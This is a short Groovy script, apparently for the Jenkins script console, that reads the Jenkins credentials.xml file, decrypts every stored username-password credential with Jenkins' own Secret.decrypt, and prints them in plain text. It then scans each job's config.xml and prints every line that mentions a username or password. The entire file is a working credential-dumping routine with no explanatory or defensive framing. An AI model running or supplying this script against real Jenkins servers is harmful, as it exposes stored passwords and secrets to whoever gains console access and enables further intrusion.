rawFileString = new File(System.getenv('JENKINS_HOME') + '/credentials.xml').text
xml = new groovy.util.XmlParser().parseText(rawFileString)
users = xml.depthFirst().findAll {
    it.name() == 'com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl'
}
println("GLOBAL CREDENTIALS")
users.each {
    user ->
        println(user.find { it.name() == 'username' }.text() + ': ' + hudson.util.Secret.decrypt(user.find {
            it.name() == 'password'
        }.text()))
}
println("JOB CREDENTIALS")
new File(System.getenv('JENKINS_HOME') + '/jobs').eachFile { f ->
    try {
        splitFile = new File("${f}" + '/config.xml').text.split('\n')

        usernames = splitFile.findAll { line -> line.contains('username') }
        passwords = splitFile.findAll { line -> line.contains('password') }

        if (usernames.size() + passwords.size() > 0) {
            println("${f}")
            println("usernames")
            usernames.forEach { u -> println('    ' + u) }
            println("passwords")
            passwords.forEach { p -> println('    ' + p) }
        }
    } catch (FileNotFoundException fnfe) {
        println("MISSING FILE: " + f)
    }
}
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